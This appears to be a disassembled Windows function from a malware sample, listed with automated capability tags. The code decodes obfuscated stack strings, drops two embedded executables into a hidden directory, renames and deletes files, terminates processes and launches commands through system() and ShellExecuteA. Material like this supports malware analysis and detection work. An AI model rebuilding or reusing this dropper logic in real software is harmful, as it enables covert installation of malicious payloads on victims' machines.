Function at 0x140080540
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f1010]
xor rax, rsp
mov qword [rbp + 0x370], rax
call fcn.14007d8b0
mov dword [rbp - 0x18], 0x6b186968
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007ce80
lea r8, [0x1406ac3c0]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007d110
cmp qword [rax + 0x18], 0x10
jb 0x1400805b7
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406aed38], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b4d0
nop
cmp qword [0x1406aed38], 0xffffffffffffffff
jne 0x140081336
lea rsi, [r14 - 1]
cmp byte [0x1406aed28], r14b
jne 0x140080703
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x40]
call fcn.140080190
mov rdx, rax
lea rcx, [0x1406ac4a0]
call fcn.14007c020
nop
lea rcx, [rsp + 0x40]
call fcn.14007b4d0
nop
mov dword [rsp + 0x40], 0x524e501a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce80
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140080685
lea rdx, [rsp + 0x40]
lea rcx, [0x1406ac4a0]
call fcn.14007b850
lea rbx, [0x1406ac4a0]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rbx, qword [0x1406ac4a0]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14007b530
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.14007b4d0
nop
mov dword [rsp + 0x40], 0x5c6b7274
mov dword [rsp + 0x44], 0x5e554d48
mov dword [rsp + 0x48], 0x3925115b
mov word [rsp + 0x4c], Ordinal_45
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084270
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b530
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x140080801
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400804d0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d5bb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d59c0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d5b30]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d5920]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d5eb0]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0xa8
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.140083f90
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007b920
lea rdx, [0x14007baf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x4a4d5646
mov word [rsp + 0x44], 0x5f
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140084150
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140081338
movdqa xmm0, xmmword [0x1402d5b10]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_35
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.1400841e0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b530
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x1400808b2
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400804d0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d5ba0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d5a30]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d5910]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d5930]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d5e70]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xecece6e9
mov dword [rbp - 0x2c], 0x100a5f8
lea rcx, [rbp - 0x80]
call fcn.140083f60
lea rdx, [rbp - 0x80]
jmp 0x1400807b9
mov dword [rsp + 0x40], 0x1000d75
lea rcx, [rsp + 0x40]
call fcn.140083ff0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400808d0
lea rdx, [rsp + 0x40]
lea rdi, [0x1406abee0]
mov rcx, rdi
call fcn.14007b850
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac000]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac420]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406abcc0]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406abca0]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406abdc0]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac200]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac1c0]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac020]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac340]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406abe60]
call fcn.14007b6b0
call fcn.140080390
movzx edx, al
lea rcx, [0x1406ac360]
call fcn.14007b6b0
sub rbx, 1
jne 0x140080904
lea rcx, [rbp + 0x110]
call fcn.14007bff0
lea rcx, [rbp + 0x110]
call fcn.14007b690
nop
lea rcx, [rbp + 0x130]
call fcn.14007bff0
lea rcx, [rbp + 0x130]
call fcn.14007b690
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.140080190
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007c020
nop
lea rcx, [rsp + 0x60]
call fcn.14007b4d0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.140080290
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007c020
nop
lea rcx, [rsp + 0x60]
call fcn.14007b4d0
nop
mov word [rsp + 0x40], WSAGetLastError
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3c0
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080ae0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007b850
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b4b0
lea rdx, [rbp + 0x130]
mov rcx, rdi
call fcn.14007b4b0
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406abee0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406abee0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], WSAGetLastError
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3c0
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080b70
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007b850
nop
lea rcx, [rbp + 0xf0]
call fcn.14007bff0
lea rcx, [rbp + 0xf0]
call fcn.14007b690
nop
lea rdx, [0x1406ac360]
lea rcx, [rbp + 0xf0]
call fcn.14007b4b0
mov dword [rsp + 0x40], 0x444f461a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce80
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140080bd5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.14007b850
nop
lea rcx, [rbp + 0xb0]
call fcn.14007bff0
lea rcx, [rbp + 0xb0]
call fcn.14007b690
nop
lea rdx, [0x1406ac000]
lea rcx, [rbp + 0xb0]
call fcn.14007b4b0
mov dword [rsp + 0x40], 0x524e501a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce80
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140080c40
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007b850
lea r8, [rbp + 0xf0]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.1400851c0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xb0]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.1400851c0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2e6800]
lea rdx, [0x1403ab020]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x140691820]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007bff0
lea rcx, [rbp + 0x30]
call fcn.14007b690
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4b0
mov word [rsp + 0x40], reloc.WS2_32.dll_recvfrom
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3c0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080e10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007b850
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4b0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007d7b0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.14007b570
mov rcx, rax
call fcn.14007d9f0
mov rbx, rax
test eax, eax
je 0x140080eb1
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007bff0
lea rcx, [rbp + 0x50]
call fcn.14007b690
nop
mov dword [rsp + 0x40], 0x50125243
mov dword [rsp + 0x44], 0x43575046
mov dword [rsp + 0x48], 0x100195d
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140080ef0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b850
lea rdx, [0x1406ac3c0]
lea rcx, [rbp + 0x50]
call fcn.14007b4b0
mov dword [rsp + 0x40], 0x5d5b5310
mov dword [rsp + 0x44], 0x5f425444
mov dword [rsp + 0x48], 0x1001905
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140080f42
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b850
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b4b0
mov dword [rsp + 0x40], 0x49414316
mov dword [rsp + 0x44], 0x561c065f
mov dword [rsp + 0x48], 0x242e4d5b
mov word [rsp + 0x4c], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084270
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080fa0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b850
mov dword [rsp + 0x40], 0x47135142
mov dword [rsp + 0x44], 0x18475941
mov dword [rsp + 0x48], 0x59585b5f
mov dword [rsp + 0x4c], 0x1004a54
lea rcx, [rsp + 0x40]
call fcn.14007b3d0
lea rcx, [rsp + 0x40]
call fcn.14007d7b0
movdqa xmm0, xmmword [0x1402d5a80]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400842d0
lea rcx, [rsp + 0x40]
call fcn.14007d7b0
mov dword [rsp + 0x40], 0x4a185445
mov dword [rsp + 0x44], 0x1d4c544e
mov dword [rsp + 0x48], 0x2b5848
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140084180
lea rcx, [rsp + 0x40]
call fcn.14007d7b0
mov dword [rsp + 0x40], 0x5d185445
mov dword [rsp + 0x44], 0x4959575f
mov dword [rsp + 0x48], 0x26361f5b
mov word [rsp + 0x4c], reloc.WLDAP32.dll_Ordinal_41
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084270
lea rcx, [rsp + 0x40]
call fcn.14007d7b0
nop
lea rcx, [rbp + 0x70]
call fcn.14007bff0
lea rcx, [rbp + 0x70]
call fcn.14007b690
nop
mov dword [rsp + 0x40], 0x4a185445
mov dword [rsp + 0x44], 0x1d4c544e
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400842a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400810c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007b850
lea rdx, [0x1406ac3c0]
lea rcx, [rbp + 0x70]
call fcn.14007b4b0
nop
lea rcx, [rbp + 0x90]
call fcn.14007bff0
lea rcx, [rbp + 0x90]
call fcn.14007b690
nop
mov dword [rsp + 0x40], 0x57125243
mov dword [rsp + 0x44], 0x43535951
mov dword [rsp + 0x48], 0x100195d
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081130
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007b850
lea rdx, [0x1406ac3c0]
lea rcx, [rbp + 0x90]
call fcn.14007b4b0
nop
lea rcx, [rbp + 0xd0]
call fcn.14007bff0
lea rcx, [rbp + 0xd0]
call fcn.14007b690
nop
mov dword [rsp + 0x40], 0x47135142
mov dword [rsp + 0x44], 0x4c455741
mov word [rsp + 0x48], Ordinal_26
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b400
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400811a3
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd0]
call fcn.14007b850
lea rdx, [0x1406ac3c0]
lea rcx, [rbp + 0xd0]
call fcn.14007b4b0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.14007d7b0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.14007d7b0
lea rcx, [rbp + 0x10]
call fcn.14007f680
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x260]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x1406aed00], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1406aed28]
cmp al, 1
jne 0x1400812d8
mov rbx, qword [0x1406aed00]
jmp 0x1400812eb
test al, al
jne 0x140081322
lea rcx, [0x1406ac4a0]
call fcn.14007b4a0
mov rbx, rax
mov dword [rsp + 0x40], 0x5953455b
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce50
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140086630
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret